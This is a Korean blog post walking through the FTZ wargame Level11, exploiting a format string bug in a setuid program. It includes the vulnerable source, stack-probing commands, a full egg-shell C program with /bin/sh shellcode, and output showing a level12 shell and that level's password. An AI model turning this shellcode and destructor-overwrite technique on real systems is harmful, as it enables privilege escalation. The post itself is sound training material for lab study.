ftz.hackershcool.org의 이미지를 받아 사용했습니다.
- Level11
level11 / what!@#$?
[level11@ftz level11]$ ls -l
|
합계 28 -rwsr-x--- 1 level12 level11 13733 3월 8 2003 attackme -rw-r----- 1 root level11 168 3월 8 2003 hint drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html drwxrwxr-x 2 root level11 4096 12월 4 21:34 tmp |
|
[level11@ftz level11]$ cat hint
|
#include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } |
|
> print애 포맷 스트링이 지정되어 있지 않다. (포맷스트링 버그 가능)
> 권한은 올라가지만 쉘 실행하는 코드가 없다
> 소멸자의 주소를 쉘을 실행하는 프로그램의 주소로 바꾼다.
[level11@ftz level11]$ ./attackme AAAA
|
AAAA |
|
[level11@ftz level11]$ ./attackme "AAAA %8x"
|
AAAA bffffc3f |
|
[level11@ftz level11]$ ./attackme "AAAA %8x %8x"
AAAA bffffc3b bfffed80 |
|
[level11@ftz level11]$ ./attackme "AAAA %8x %8x %8x"
|
AAAA bffffc37 bfffdc00 1 |
|
[level11@ftz level11]$ ./attackme "AAAA %8x %8x %8x %8x"
|
AAAA bffffc33 bfffe080 1 41414141 |
|
> %8x를 3번은 해야 버퍼에 저장된 AAAA가 나옵니다. ( 찾아서 확인해 봐야함 )
[level11@ftz level11]$ nm attackme | head
|
0804953c D _DYNAMIC 08049614 D _GLOBAL_OFFSET_TABLE_ 08048524 R _IO_stdin_used 08049608 d __CTOR_END__ 08049604 d __CTOR_LIST__ 08049610 d __DTOR_END__ 0804960c d __DTOR_LIST__ 08049538 d __EH_FRAME_BEGIN__ 08049538 d __FRAME_END__ 0804963c A __bss_start |
|
> main이 끝날 때 소멸자가 호출되고, 그 소멸자의 주소를 바꿔 권한을 얻는다.
[참고] nm
오브젝트 파일에 포함된 심볼을 확인하는 툴
|
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 0 #define DEFAULT_ADDR_SIZE 8 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_SUPERDK_SIZE 2048 #define NOP 0x90 // 배시쉘을 실행하는 셀코드 char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; // 스택 포인터를 가져 오는 함수 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { char *ptr, *superSH; char shAddr[DEFAULT_ADDR_SIZE + 1]; char cmdBuf[DEFAULT_BUFFER_SIZE]; long *addr_ptr,addr; int offset=DEFAULT_OFFSET; int i, supershLen=DEFAULT_SUPERDK_SIZE; int chgDec[3]; // 셀코드를 올릴 포인터 주소에 동적 메모리 할당 if(!(superSH = malloc(supershLen))) { printf("Can't allocate memory for supershLen"); exit(0); } // 셀코드의 주소 읽기와 화면 출력 addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); // 쉘코드 실행 확률을 높이기 위해서 셀코드 앞에 충분한 NOP 추가 ptr = superSH; for(i=0; i<supershLen - strlen(shellcode) - 1; i++) *(ptr++) = NOP; // NOP 뒤에 셀코드 추가 for(i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i]; // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시 superSH[supershLen - 1] = '\0'; // SUPERDK라는 환경변수명으로 셀코드를 환경변수에 등록 memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE); putenv(superSH); // 새로운 배시셀 실행 system("/bin/bash"); } |
|
> egg쉘 코드를 만들어 실행한다. ( 인터넷에 많이 있다. )
[level11@ftz tmp]$ gcc -o egg egg.c
[level11@ftz tmp]$ ./egg
|
Using address: 0xbfffec08 |
|
> 위 주소로 해도 되지만 정확한 주소는 아니다.
[level11@ftz tmp]$ vi getenv.c
|
#include<stdio.h> int main(int argc, char *argv[]) { printf("ADDR = %p\n",getenv(argv[1])); return 0; } |
|
|
ADDR = 0xbffff4a1 |
|
> 환경변수의 이름을 입력하면 주소의 값이 나옵니다. 이 주소로 바꿉니다.
|
sh-2.05b$ sh-2.05b$ sh-2.05b$ id uid=3092(level12) gid=3091(level11) groups=3091(level11) sh-2.05b$ my-pass TERM environment variable not set. Level12 Password is "it is like this". sh-2.05b$ |
|
- 포맷 스트링 버그
이해하기 정말 어려운 부분이었습니다.
이 곳에서 많이 참조 했습니다.>> http://geundi.tistory.com/124 ( 스택에 관한 그림들이 있어서 더 보기 좋을 수 있습니다. )
'Security > 리버싱' 카테고리의 다른 글
Level13 문제 해결 ( 스택 가드 ) (0) | 2017.12.06 |
---|---|
Level12 문제 해결 ( Bof , 버퍼 오버플로우 ) (0) | 2017.12.06 |
쉘코드(shellcode) 만들기 (kali Linux) (0) | 2017.12.04 |
쉘코드 (shellcode) 만들기 (1) | 2017.12.04 |
포맷스트링 버그 (Format String Bug) (0) | 2017.12.01 |